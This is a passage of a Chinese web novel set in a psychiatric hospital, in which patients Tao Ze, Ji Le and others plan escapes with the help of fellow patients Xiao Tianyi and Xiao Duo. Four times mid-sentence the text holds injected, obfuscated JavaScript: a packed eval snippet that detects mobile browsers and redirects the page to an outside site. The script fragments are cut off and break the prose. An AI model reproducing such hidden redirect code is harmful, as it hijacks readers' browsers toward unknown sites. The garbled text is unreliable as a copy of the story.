“如果谢言竹的经历,也跟你一样看似符合逻辑,实则有说不通的关窍,是不是可以证明我才是对的。” 林归伞没说话,松开掐住极乐的手,深深看了他一眼。 极乐的皮肤狠敏感,脖子一碰就留下红印,他没事人一样揉了揉,笑得灿烂,“我打算离开疯人院一趟,更进一步打听谢言竹这个人。” 林归伞皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895304|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,话还没出口就被极乐打断,“开玩笑的,首先逃不出去,其次会被抓回来。” “等谢言竹醒了,你陪我当堂对峙呗。” 林归伞送走了极乐,直到顺着他的话思考下去,才猛然惊觉她不知何时又信了极乐,思维被他带着跑。 这人的手段实在可怕。 她告诫自己,下一次绝不能放任他小嘴叭叭。 林归伞的指腹轻轻压在呼叫按钮上,她应该摁下去的,告诉护士极乐还能撬锁的事,却迟迟没有动作。 这时,门外响起敲门声。 林归伞收回手,暗暗松了口气,暂时将极乐抛到一边,透过观察窗看到了今天下午第二个访客。 陶泽显得很沉默,心事重重的积郁坠在眉间,他一张口就说:“我有件事想请你帮忙。” 林归伞请他坐下,没什么犹豫就道:“你说吧,能帮我一定会帮。” 她还是觉得陶泽病情复发,起因在自己,能补偿就最好了。 “我母亲病了。”陶泽脑袋垂得很低,“她本来身体就不好,还连轴转地打工,支付我的医药费,没多久就高烧,无人看顾导致脱水休克。” “还是她打工那地方的老板,看到她缺勤好几天,叫人上门才发现她昏迷。” “打电话给医院,到刚刚才救回来。” 陶泽猛然抬起头,他眼下有一圈青黑,人看着也憔悴不少,精心护养的卷发都忘了打理。 语带哽咽,“我这个做儿子的,居然直到医院通知才傻傻知情,甚至不能去探病!” 林归伞心情也有些沉重,默了片刻,“我有什么能帮你的。” “让我逃出这所疯人院。”陶泽哑声说。 林归伞脸上浮现惊诧的神色,“探病而已,这点小事医院不至于不通融。” 陶泽嗤笑,“谁告诉你我是去探病的?光探病有什么用,我要的是一劳永逸的治病。” 治病? 陶泽怎么治病? 还是一劳永逸地治。 金钱病吗? 林归伞转念想到此处,豁然抬眸。 “嘘——” 陶泽冷冷盯着她,“你上次就没有做到约定好的事,难道这次还要重蹈覆辙吗?” 林归伞嘴唇紧抿。 陶泽见状安抚她道:“我不是去做什么过分的事,只是把我以前藏起来的东西,兑换成钱。” 林归伞无声看他一眼。 藏起来的东西? 陶泽意会了这一眼的含义,“别忘了我以前是个侠盗。” 那是你妄想的身份。 林归伞只敢在心中说,怕刺激了他,但想起这人以前是个小明星,说不定有一笔存款。 “好。”她说服了自己,“但是我该怎么帮你逃院?” “凭我这点身手,不拖后腿就算好了。” 陶泽被她逗笑了,“你不会以为我需要的是你的身手吧?” “不是吗?”林归伞嗓音窘迫,只觉得尴尬之情直冲天灵盖,脸颊发烫,眼神飘飘忽忽。 陶泽立即收了笑,“当然不是,我只要你这张脸,略施美人计。” 林归伞:“……” 陶泽倒是一点不羞涩,“真正有本事帮我逃出去的,是大扫除那天你见过的晓天仪。” “晓姐把你认成她妹妹,带你过去有几率说服她。” 林归伞思索过后,点头,“行,我答应你。” 23. 第 23 章 答应去见晓天仪后,陶泽一刻也不愿耽误,当场带林归伞敲响她的病房门。 不多时,观察窗被从里拉开。 一双冷冷清清,形状上挑的锐利丹凤眼扫了来访者一道。 陶泽往前走了一步,急切之情溢于言表,“晓姐,还记得我吗?我找你有事想商量。” 晓天仪没有任何表态,视线落在他背后的林归伞身上。 林归伞抿出一个浅浅微笑,冲她点了点头。 “进来吧。”晓天仪说着打开了门。 陶泽和林归伞一前一后地走进,等最后一人的脚步迈入时,晓天仪贴心地合上门扉,落了锁。 这本来是林归伞该做的,被她这个主人家抢了机会,顿时不好意思地回头。 可视野才偏转了一半,林归伞忽然察觉喉间一凉,被什么利器抵住,双手一瞬间被一股大力抓握,钳制在身后。 陶泽只听到一阵剧烈又急促的响动,回过头,瞳孔刹那紧缩。 “晓姐!”他脚步不敢挪动,小心翼翼比了个制止的手势,眼神紧盯那把架在林归伞脖子上的水果刀。 “你这是什么意思?为什么这样对你妹妹?” 晓天仪将刀刃紧贴林归伞的喉咙,手很稳,与她的表情一样没有丝毫动摇,闻言冷漠说道:“她不是我妹妹。” 话落,刀刃压得更紧实,在白皙柔软的肌肤上留下一线凹痕。 林归伞甚至感到被压迫的窒息感,喉咙像塞了团注水棉花,她只能以最大角度扬起脖颈,救助望向陶泽。 “她怎么就不是了?”陶泽收到她的眼神,安抚般回视她,紧接着又盯梢晓天仪不放。 “晓姐,听话,咱们放下刀好好说。” 陶泽飞快瞟了一眼紧急呼叫按钮,心中估算距离,试探性挪了一步。 “停下!”晓天仪厉声喝道。 陶泽顿时就不敢动了。 “我还记得你,恋母的小鬼头。”晓天仪一抬下巴。 陶泽心里一哽,敢怒不敢言,爱惜地摸摸那头自来卷短毛,告诉自己不气。 晓天仪随即冷笑,“找人冒充我妹妹是什么意思?” 陶泽和林归伞同时看向她。 这是清醒了? “你想从我这里骗东西,还是让她来害我?”晓天仪神色狠戾,“我就知道你这个小毛贼不安好心,你背后是不是还有人?” 陶泽顿时在心底暗骂一声。 日哦,这是犯病了。 林归伞也深有感悟,阿尔海默兹症通常伴随一定的被害妄想,源于患者记忆失真带来的不安定感。 她同时也猛然回忆起,医院负一层的性质。 用来关押对他人,对自己,对社会公序良俗会造成极大危害的患者。 陶泽因偷盗罪进来,极乐善于挑唆,谢言竹自杀,还有一个全天候被拘束衣绑着的危险分子萧夺,就连她—— 晓天仪既然没有自毁倾向,这点任谁看了她都知道。 那她只能是对外人产生威胁。 “我们没有恶意。”林归伞嗓音微弱,竭力不让声带过分振动。 “闭嘴!”晓天仪居高临下睨着她,“这里没你说话的份!” 林归伞收了声,眼神示意陶泽来说。 陶泽恨不得掏心掏肺给晓天仪看,这辈子都没这么真诚过,“晓姐,我对天发誓,来找你是为了求你帮忙,带上她是觉得更有几率说服你。” 晓天仪轻嗤一声,不屑道:“说得轻巧,天底下哪有这么巧的事,让你撞见一个长得像我妹妹的。” “除了早有预谋,还能是什么?” 陶泽满头黑线,“晓姐,真不是我说你,那天是你先把林归伞误认成妹妹的,你仔细看,她俩长得完全不一样。” 晓天仪压根没听进去,固执冷笑,“又想骗我?趁我注意力分散过来夺刀?” “真没骗你。”陶泽唉声叹气,“不信你摸摸,她比你妹要矮上一截。” 林归伞:“……” 晓天仪还真就摸了,面露狐疑,“好像是,我妹比她高挑,身材没这么排骨精。” 林归伞:“……” 人都麻了,除了物理上动刀,精神上的凌迟也不放过是吧。 晓天仪命令道:“退后,别以为我不知道你刚刚趁我不注意,鬼鬼祟祟往前挪了挪,退回去,不,退后三步远。” 陶泽连忙照做。 晓天仪眼珠转动,端详林归伞的侧颜,期间余光不忘时刻盯防陶泽。 视线一路描摹她的柳眉杏眼,不那么挺但也不塌的鼻梁,再到那张总爱抿着的苍白嘴唇,最后是精致下颌线。 “你不是她,长得完全不一样嘛。” 晓天仪扯了扯嘴角,声线不再紧绷,手一松任由小刀摔在地上。 “我想起来了,妹妹她,早就不要我了。” 林归伞正要夺路而逃的步伐顿住,站在原地,任由晓天仪无力枕在她肩窝。 “她总嫌我笨,记不得一天二十四小时早中晚,只知道一张嘴等要饭。” “我这么大一个人赖在她家里,自己照顾不好自己,还总是往外跑,累得她好几次中途从公司回来处理我的麻烦,赶跑了她几任男朋友。” “还有几次,我连她都不认得了,也是这样拿刀划伤了她。” 林归伞忽而察觉,肩膀上落下几滴冰凉的液体,她长长呼出一口气,冲陶泽摇了摇头,转身抱住了晓天仪。 晓天仪话音一顿,发出几声不稳的喘息,似再也忍不住眼泪。 “我对不起她,我也不想的!”晓天仪用力箍住林归伞的腰身,脑袋埋在她肩颈,顷刻间那里的布料湿了一片。 她断断续续哽咽道:“就在那天……妹妹她……说我是寄生虫……年纪……轻轻……得了老人病。” 晓天仪咽下哭腔,竭力平稳语气,“她问我手脚俱全的为什么要她来养。” “她还说……她不要我了……” “我要回家!” 晓天仪陡然崩溃地哭喊,“这里不是我的家,可我不记得家在哪里,我不记得我是谁。” 她低低地说,每一字都带颤音,“我想我妈了。” “我还记得妈口袋里总带着糖和手帕,我一闹她就给我糖吃,吃得脸黏糊糊的,手帕就用来擦脸。” “每次替我扎头发,妈总是扎得很紧,我发际线高肯定有她的原因。” “妈跟妹妹不一样,她会哄我睡,会对我笑得很好看。” 晓天仪抓住林归伞的衣袖,腰背佝偻,高挑的身材蜷缩在她怀里,一仰头眼睛早就红肿不堪,一叠声卑微哀求,“我也不要妹妹了行不行,我要我妈!” 林归伞面露不忍,一下又一下轻抚她的脊背。 她听极乐说过,晓天仪父母早亡,只有一个妹妹与她相依为命。 “乖,先去睡觉吧。” 林归伞温声哄道,接过对此经验丰富的陶泽递来掺着安眠药的水,喂到晓天仪嘴边,“喝口水润润嗓子,睡一觉醒来就没事了。” 晓天仪乖乖嗯了一声,小口小口抿了水喝,没多久眼皮沉沉往下坠,被林归伞搀扶着上了床。 给她掖好被角,林归伞与陶泽对视一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903155|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了病房。 走廊上,二人的神情都颇显疲惫。 林归伞问,“这下怎么办,改天再来拜访吗?” 陶泽咬了咬牙,“我这边等不及,给妈治病差不多花光了存款,还有一大笔负债没还。” 他有些自暴自弃,“赌一把,就这样逃出去算了。” 林归伞提醒他,“你之所以找晓姐,不就是一个人没把握,要是被医院抓住,只怕沦落到他的待遇。” 她下巴点了点左前方。 那是一间截然不同的病房,长条形的透明玻璃窗,一眼望去病室内一览无余。 病床上黑色拘束带绑了一个人,张扬明艳的红发,桀骜五官在沉睡时显得莫名恬静乖巧。 陶泽审视这人,片刻后叹口气,“你说的对。” 林归伞给出建议,“你不如想一想晓姐是怎么逃出医院的,又是如何得知晓姐有这个能力?从两个答案里找方法。” 陶泽脚步一顿,“不用想,晓姐是真的逃出去过好多次,出去找家。” “每一次医院把她找回来,无论用什么措施严防死守,下一次她还是能出逃,到头来医院都懒得管了,给她装了个gps,这是众所周知的事。” “反而害得我的挑战难度,一下子从普通上升到地狱等级。” 林归伞暂时没辙了,“走吧,先回去休息。” 陶泽迟疑片刻,迈开步子。 他前方的林归伞却停了下来,视线紧紧锁定左侧病房。 陶泽也跟着看过去。 萧夺不知何时醒了,狮子抖毛似的一甩那头红发,睁开狭长的眼,琥珀色偏金的眸子宛如注视猎物般死死盯着这边。 他苏醒时,高鼻深目,轮廓深邃锐利的五官特质就完全凸显出来,气质简直脱胎换骨,锋利感隔着玻璃都仿佛能扎穿人的眼球。 “没见过,新来的啊?”萧夺懒洋洋地问,在拘束衣里伸了个懒腰。 陶泽眼神颇为忌惮,横跨一步试图挡住林归伞。 她已经点点头,“嗯,不过我已经认识你了,前几天大扫除你被打了镇静剂推出来。” 萧夺皱起脸,很是郁闷,“大扫除这种事为什么不让我参与?劳动最光荣。” 林归伞看不明白陶泽这副护崽的样子,初次交谈对萧夺的印象还不错,礼貌地说:“没什么事我们就先走了。” “等等。”萧夺在背后喊住他们。 他目光先是饶有兴致在陶泽身上转了一圈,然后看向林归伞,“这么着急走干嘛,我又不吃人。” “新来的是犯了什么事?” 林归伞皱眉,已经察觉到他语气不友好,“自我介绍不应该问的那一方先来吗?” 萧夺拖长调子哦了声,言简意赅,“杀人。” 林归伞腼腆笑了笑,“我跟你一样。” 萧夺眨了眨瞪得溜圆的眼睛,上上下下扫了林归伞一圈,噗嗤一声笑了,“就你?” 他脊背笑得发抖,连带整张病床也开始颤动,“我知道了,你是靠把人笑死送进这儿来的。” 林归伞冷下了脸,转身就走。 萧夺倒是一点也不急,矛头转向陶泽,“新来的不懂规矩我知道,但你这个老人怎么也敢靠近我这边?” “怎么,有求于我啊?” 林归伞驻足,回过头却见陶泽仍站在病房窗前,没有否认。 他深深看了被绑在病床上,仍气焰嚣张的萧夺一眼。 沉默许久,似在挣扎,权衡利弊后得出他的结果,毫不犹豫跟上林归伞的脚步。 “别管他,我们走吧。” 24. 第 24 章 “这样真的好吗?”林归伞不无担忧,多问了一句。 陶泽不解,“什么好不好的?” 林归伞侧过头,目光透彻,“你刚刚就站在萧夺的病房前,犹豫不决的样子。” “除了晓天仪之外,他是另一个能帮助你逃院的人选吧?” 陶泽小小地切了一声,不爽道:“看那么明白干嘛?” “没错,萧夺也有几次逃院的经历,但是比起晓姐的神不知鬼不觉,这货简直嚣张跋扈。” “他第一次尝试从这里逃出去,经验不足被发现了。”陶泽手指了指前方的电梯门,“然后你猜怎么着?” 不用林归伞回答,他直接说了,“这人箍住一个护士的脖子企图当人质。” “然后逃到电梯里,本来到这一步,已经没啥必要再留着护士拖后腿,我当时就在场,亲眼看见他咧嘴笑了笑,反手拗断那护士的脖子。” 林归伞面色白了一些,眼中是与陶泽同样的忌惮。 “不过万幸的是,拧脖子这种操作还是很难的,那倒霉护士也就戴了几个月颈托,事后光速辞职润了。” 林归伞也跟着松了口气,“不找他是明智的选择,这人是那种不把人命当回事的类型。” 陶泽没应声,固执地低喃,“还得另想个法子才行。” 另一边,陶泽与林归伞二人离开后,晓天仪正安静地在床上熟睡。 她猛然睁眼,摸出枕头下藏着的第二把小刀,目光是全然不见惺忪睡意的冷厉,一刀掷向门口。 哆一声,仿佛菜刀落在钉板上的声音。 一小截刀身埋入木质门板里,露在外的刀柄还在震颤不休,足以彰显这一刀落在人身上的威力。 极乐心有余悸瞄了一眼,脖子缩出双下巴,两手高举做投降状。 “晓姐,手下留情啊,是我,不记得了吗?” 他竭力让自己表情看起来真诚,一根指头点了点他极具辨识度的帅脸。 新雪白发,金色纸王冠发卡,较常人更加缺乏血色的肌肤,鸽羽般的长睫下是一双紫水晶眼瞳,将本就精致秀丽的五官蒙上一层虚幻的色彩。 即便到了这时他还在笑,天生上翘的嘴角,白化病带来的惧光眯缝眼,微弯起来融入进笑容里。 晓天仪皱眉,掀开被角从床上起身,一边打量着他。 “就因为记得你,我觉得这刀你挨得不冤枉。”她淡淡地说,来到极乐面前,一把抽出刀身,甩了个花后随手一抛。 小刀好巧不巧,严丝合缝嵌进了刀架里。 极乐见她露的这一手,吹了个口哨表示捧场,但他很快就笑不出来了。 因为晓天仪下一句就是,“胆子这么小,连把削皮刀都怕,还怎么做我妹妹的男朋友?” 极乐被噎了半晌,才道:“恕我直言,晓姐你是故意的还是不小心,难不成专门冲着男朋友的头衔来的?” 晓天仪:“呵。” 极乐笑得牵强,“晓姐是不是认错人了?” 晓天仪抱着手臂,轻嗤,“白化病,笑容这么欠,天底下上哪儿找跟你一样的?” 极乐不好意思地挠了挠脸颊,“别夸我,我怕自己太骄傲。” 晓天仪懒得同他东拉西扯,“找我什么事?” 极乐敛了表情,思索片刻后没有直接提出请求,而是问,“我刚才好像看到我女朋友了。” “那不是小攸!”晓天仪顿时声色俱厉,“只是那个姓陶的小贼,为了请我替他办事,不知从哪儿找来的冒牌货。” 极乐替林归伞和陶泽喊冤三秒。 前几天大扫除的时候,晓天仪还亲切地喊林归伞妹妹,才多久就翻脸不认人了。 不认林归伞也就算了,还认识他这个虚假的男朋友又是怎么回事? 不管了。 极乐很快将这个念头抛在一边,反正对他没什么影响,还能借此与晓天仪套近乎。 他眨眨眼,“晓姐,我有事想请你办。” 晓天仪并不感到意外,双腿交叠坐在床沿边,言简意赅,“说。” 极乐正色道:“我想离开疯人院几天。” 晓天仪挑高了半边眉毛,尾音上扬,“离开,还是好几天?” “嗯。”极乐欢快应道,含糊不清地说,“有些事要办。” 晓天仪没问他具体是什么事,思忖过后一口应下,“行,我可以带你出去,但是有个条件。” 极乐:“什么条件?” 晓天仪打开床头柜,从中取出一件精心包装的礼盒,从绑带到盒子都是手工制作,看得出主人心意,却不知为何有些陈旧。 “快到小攸的生日了,你帮我把礼物送给她。” 极乐毫不犹豫,“没问题。” 晓天仪将盒子递给他前,陡然攥紧极乐的手腕,语气暗含威胁,“记得是我送的,别擅自昧了去。” 她说完却眼露迷茫,疲惫叹道:“算了,要是小攸不肯收,用你的名义也行。” 极乐盯着莫名熟悉的礼品盒,忽然想起晓天仪和她妹妹一年多前的决裂,似乎就是她妹妹生日那天,也是这个没送出去的礼物。 他接过这个既不在生日,也不是礼物的生日礼物,心里已经决定好它的归属是哪个垃圾桶。 面上却笑得很甜,“晓姐放心,一定将礼物送到。” 晓天仪难得冲他勾了勾唇,对他的态度也缓和不少,“打算什么时候出发?” 极乐:“就现在。” 晓天仪:“?” 极乐腼腆地说:“事有些急,越早出发越好。” 刚好晓天仪也迫不及待将礼物送给妹妹,点了点头,“跟我来。” 极乐呆了几秒,“直接出发吗?不用做准备?” “把你人带上就行。”晓天仪头也没回。 二人径直出了病房,极乐亦步亦趋跟在晓天仪身后。 就算是他,不动用能力,想要在不惊动任何医生护士的情况下,逃出医院也很难,更别提眼下需要特意避开拉斐尔的情况。 但晓天仪不同,她似乎有某种独特的办法,不惊动疯人院的一切感知。 “晓姐。”极乐拉了拉她的衣摆,“电梯在另一边。” “想避无可避,被监控拍到你就直说。”晓天仪嫌弃地拍开他,“我们走楼梯间的逃生通道。” 极乐一阵委屈,“可逃生通道也不在这边啊。” 晓天仪冷道:“别废话,到底还想不想出去?想的话就闭嘴乖乖照我说的做。” 极乐乖巧给嘴巴上了个拉链。 他跟着晓天仪进了通往洗手间的走廊,在男厕和女厕之间犹豫时,被她一把拽住衣领,“还往里走干嘛?我们是逃院又不是去掏史。” 极乐:“……” 晓天仪挽起半截袖口,“好了,接下来就是监控拍不到的禁区。” 极乐眼睁睁看着晓天仪向右转身,以不撞南墙不回头的架势,义无反顾莽了上去。 没有想象中脑门磕墙上的声音,她像一只迅捷又轻盈的蜘蛛,以平行于地面的角度,无视重力踩上了竖立的墙面。 极乐:“……牛顿的棺材板,算了这个梗我不玩了。” 在他瞠目结舌的间隙,晓天仪扭头俯视他,“还愣着干什么,赶紧跟上来。” 极乐狠狠闭了闭眼,心里念叨豁出去了,没有动用任何特殊能力,以普通人的身体素质一脚蹬上了这面墙。 他睁开眼,发现周围的东西都颠倒了方向,白炽灯在正前方闪得眼睛疼,一扇扇门跑到了脚底下。 走廊像是一个巨大的通风井,平时左转右转的拐角,成了上下连通的管道。 像是还嫌他震惊不够,晓天仪往前跨了一步,身影却陡然闪现在十几米开外的一个拐角。 见他迟迟未动,晓天仪不耐烦催促,“快点,往前走啊。” 极乐:“……” 他硬着头皮往前,站在晓天仪之前的位置,忽然注意到视觉效果下,两面风马牛不相及的墙连在了一起。 极乐在脑子里琢磨,一下子回过味来,眼神亮闪闪的,“懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909464|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真人版纪念碑谷。” 晓天仪:“?” 极乐兴致勃勃追问,“你什么时候发现还能做到这个的,是这所医院特殊,还是独属于你的能力?” 晓天仪古怪地看向他,“你在说什么?什么能力?” 极乐跺了跺脚下的墙体,“就是飞檐走壁。” 晓天仪啧声,“听不懂你在说什么。” 极乐清了清嗓子,“我是问,你怎么做到稳稳踩在九十度夹角的墙面上?” 晓天仪却愣住了。 她低头,喃喃自语,“原来这不是地面吗?” 极乐也怔了怔。 他似是想到了什么,掰过晓天仪的肩膀,一眨不眨直勾勾盯着她的双眼。 透过那对平平无奇的褐色眼眸,他看到了一个眼花缭乱的世界。 “原来如此。”极乐若有所思。 阿尔海默兹症,初期的表现是短期记忆丧失,到了后期,人脑对于时间和空间的感知都会退化,混淆不清。 体现在晓天仪身上这么硬核的吗? 猛然间,一阵天摇地动,失重感紧随而至,极乐发现身体在不受控制地往后,准确来说应该是往下坠。 他豁然明白过来,晓天仪一旦醒悟,世界观崩塌,也就失去了空间重构的能力。 重力再次找上了他,身下像有一个黑洞,欲要将他吸附吞噬。 极乐半边身子坠在半空,死死拽住晓天仪的手臂,她此刻还能稳当站在墙上,神情却在痛苦挣扎。 他见状吊着一口气忙不迭喊,“晓姐,我错了,玩笑话而已,千万别当真,你又不是蜘蛛侠,学什么攀岩?再说人家好歹有梅姨,你呢?” 一股大力袭来,晓天仪死死拽住他衣领,眼中迸发杀意,“继续说啊,只要不怕我把你活剐了。” “反正在监控死角,杀人藏尸对我来说不是问题。” 极乐的重力重新恢复异常,脚稳稳踩在墙面,闻言乖巧点头,捂着嘴不说话了。 晓天仪冷冷将他丢开,迈着杀气腾腾的步伐,“跟紧些。” 极乐脑袋一歪,“?” “交易依旧成立。”晓天仪冷淡道,“你帮我送生日礼物给小攸,我带你出疯人院。” 极乐比了个ok的手势。 一路无话。 晓天仪一直将他带到了负一层逃生通道,“就送你到这里,我还带着gps手环,出去就会触发警报。” 极乐唔唔几声,不会手语,只能手忙脚乱一通比划。 晓天仪:“可以说话了。” 极乐夸张地吐了口气,“我要离开好几天,这期间麻烦晓姐帮忙打掩护。” 晓天仪无语,“护士查房你叫我怎么替你隐瞒?” 极乐却只是笑,“放心,她们不会管的,主要还是在那几个病友面前瞒一下。” 他要去查谢言竹的家人,周围肯定有拉斐尔的眼线,只要不与他正面硬碰,倒不至于发现自己的真实身份。 晓天仪摆了摆手,“行,你自己说的。” “这桩交易完成后别再找我,否则见你一次就折断你一根手指。” 她丢下这句狠话,再不迟疑离开了。 极乐毫不在意她的威胁,反而笑眯眯挥了挥手,朝着相反的方向迈步,背影欢快得像只脱笼小鸟。 …… 又过了几天,林归伞被陶泽催促,几乎天天都往晓天仪那里走一趟。 可他们运气不好,晓天仪没有再将林归伞误认成妹妹。 陶泽眼见干着急也没用,索性坚持不懈开始了游说,终于在晓天仪面前混了个眼熟。 他长舒口气,提出帮他逃院的请求。 晓天仪:“不行。” 陶泽不肯就这么放弃,“总得告诉我理由。” 晓天仪对除了妹妹以外的人总是爱答不理,“没有理由,再问就滚。” 陶泽紧咬牙关,舌尖品尝到一丝腥甜。 他深呼吸几口气,似下定了某种决心般,将视线投向萧夺的病房。 25. 第 25 章 夜深人静。 黑暗席卷了这间病房,医疗器械的轮廓在阴影里浮沉,电子指示灯的光明明灭灭,如同数据的星海。 隐约见,只见病床上躺着一个起伏的人形轮廓,身形修长而矫健,锻炼得恰到好处的精干肌肉。 乍一看像只拉长身形的花豹,却被黑色拘束带牢牢绑着,两手揣在怀里,以一个稍显憋屈的姿势沉睡。 萧夺悄无声息睁开眼,抬头。 眼底清明,琥珀色偏金的瞳孔在夜里沉暗几分。 借助走廊照进来的微薄光线,他的虹膜中倒映出一个模糊的人形剪影。 站在他正前方的人踏出一步,五官终于暴露在光线下。 是陶泽。 为了严加看守萧夺,这间病房各处安装了监控和录音设备,稍有不对劲就会引起值夜班的保安注意。 陶泽不知何时进了他的病房,一直站在监控死角的位置,一边朝萧夺比了个噤声手势,一边用棉布轻柔包裹住传声话筒。 期间萧夺就饶有兴致看着他动作,咧开嘴角,用尖锐的犬齿叼住拘束服衣领,往上拉了拉,严严实实罩住下半张脸,在监控画面中隐藏嘴型。 陶泽见状安心了不少,这人无法无天惯了,就怕他脑子一抽喊来医护人员。 目前看来,行动这么配合应该能够沟通。 他组织了下语言,还不等开口,就听萧夺散漫低沉声线,“又不是黄花大闺女,用得着夜晚幽会?” “说起来前几天跟你一起那个女的呢?” 萧夺侧头扫了一眼,“没在把门,那就是你瞒着人家来的,啧,死基佬不会看上我屁股了吧?” 陶泽额上蹦出青筋,阴沉道:“垃圾话适可而止,搞清楚现在能帮你的只有我,但凡你想解开这身拘束衣的话。” 萧夺似是被逗笑,胸膛轻颤,“反了吧?着急求我办事的难道不是你?” 他悠哉悠哉吹了口气,张扬明艳的红发往上飘了飘,“让我想想,恋母癖的小鬼破防的唯一理由,也就只有你妈了。” “你妈出事了?”萧夺看热闹不嫌事大地问。 陶泽呼吸一窒,怒火铺天盖地翻涌心头,被他硬生生压制住,只咬牙切齿挤出一句,“不准你说我母亲。” “好吧,蛐蛐人家母亲确实有点儿缺大德。”萧夺赞同道,出乎意料通情达理,紧接着话锋一转,“探望家人这种请求,医院随随便便就批准了。” “你却偏来找我。” 萧夺本想摸摸下巴做思考状,手伸到一半被拘束带拉住,不爽地皱起眉毛,眼锋一扫,目光刀割般凌厉。 “小鬼,看样子你要偷摸办坏事。” 陶泽双手握拳垂在身侧,“是又怎样?” “不怎么样,关我屁事。”萧夺躺了回去,眼中一片索然无味,“滚吧,今天心情好就当没见过你。” 陶泽没动,他这些天已经在晓天仪那里接连碰壁,如果再无法争取萧夺的帮助—— 不敢深想后果,他急切道:“你难道不想重获自由吗?” “我可以帮你解开拘束衣,只要你离开疯人院的时候捎带我一程。” 萧夺这回连眼皮都闭上了,“美国电影看多了,还是日漫,整天念叨自由意志啥的,中二期小鬼吗你?” 陶泽急了,口不择言道:“到底谁才是中二期,染一头红毛当精神小伙吗?” 萧夺:“!!!” 他一个鲤鱼打挺,没打过来,嘴上却气焰嚣张不饶人,“放屁,老子这叫时尚!” 陶泽冷笑,摸了摸他的卷毛,“你上街随便找个人问,到底是你染的劣质红毛好看,还是我纯天然的自来卷俏皮?” 萧夺森然盯着他。 陶泽也不甘示弱地回视。 二人脑电波终于在这一刻对上。 片刻后,萧夺率先挪开视线,哼笑一声,看陶泽顺眼了不少,“你说的,上街找人点评,到时候输了记得给爷磕一个。” 陶泽还沉浸在自来卷保卫战中,下意识回答,“这话对你也适用。” 说完才明白过来,萧夺言下之意是答应了他的请求。 陶泽傻傻没回过味来,“就这么简单?” 呆愣一直持续到第二天,疯人院陆陆续续醒过来,时间安排得紧,陶泽立刻找上了林归伞。 “我打算和萧夺合作,逃出疯人院。” 林归伞诧异道:“你不是说这人危险吗?” 陶泽默了会儿,“我妈那边耽误不得,已经跟萧夺说好了,今天医生查完房后就走,一直到明天这个时间点回来。” 林归伞:“我以为你不打算回来。” 陶泽翻了个白眼,“如果可以我当然选择一走了之,可我妈想让我留在医院治病。” “反正我会回来的,萧夺那边就管不着了。” 林归伞点点头,“所以你为什么要跟我商量,我又不参与。” 陶泽理直气壮,“谁说你不参与了?” 林归伞有不好的预感。 果不其然,她听到陶泽殷切的声音,“麻烦你帮我们打一下掩护,如果明天这个时间点没回来,拖延医生查房的进度好不好?” 林归伞叹气,“行。” 俗话说帮人帮到底,在晓天仪面前派不上用场,能用这次补偿他最好。 时间很快来到查房之后。 林归伞本来忧心忡忡,陶泽也就算了,萧夺怎么瞒过那么多医护人员的视线。 一则消息传到她耳边,萧夺再次犯病,被打了一针镇静剂。 林归伞好奇来到他病房,玻璃窗拉上了帘子,门口还挂了个休息中的牌子。 也行,还是能拖延些时间的。 一上午的提心吊胆,来回往这两人的病房跑之后,很快便到了用餐时间。 林归伞先在食堂打了两份饭,说她和陶泽打算一起在房间吃。 自己那份还来不及扒拉完,就将陶泽的饭食恨恨倒进厕所。 以上这套流程中午来一遍还行,晚上再来就不管用了。 她干脆对食堂值守的护士说:“我和陶泽零食吃多了,肚子不饿。” 护士投来不赞同的目光。 林归伞面露羞愧。 这时,她余光一扫撞见打算给萧夺送餐的护士。 差点忘了,镇静剂效果过去,萧夺一整天肚子空空,是时候吃点东西了。 林归伞额头冒汗,匆忙到了声歉就走。 她连滚带爬先去护士站找了身制服套上,口罩遮住脸,回忆平时见过的一个实习护士的口吻语气,匆匆低头路过送餐护士身边,自然而然接过她手中餐盘。 “342号病人那边有情况,拉斐尔医生叫你去看看。” 说完她端着餐盘脚步起飞,只留下原地那个护士,空着手傻傻挠了挠头。 就这样忙活到了晚上,终于可以稍作歇息。 林归伞躺在被窝里,不由自主地想陶泽那边的进展该如何了? 据他所说,作为侠盗时提前藏了财物。 当然侠盗的身份只是妄想症,陶泽的本职工作是一个十八线小明星。 八成是偷藏了工资卡,只要找到那张卡,顶多去一趟银行,在外头的事就搞定了。 明天按时回来应该不成问题。 林归伞突发奇想,睡前玩手机时搜索了陶泽的名字。 看清手机页面跳转的内容,她愣了愣。 十八线小明星搜出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 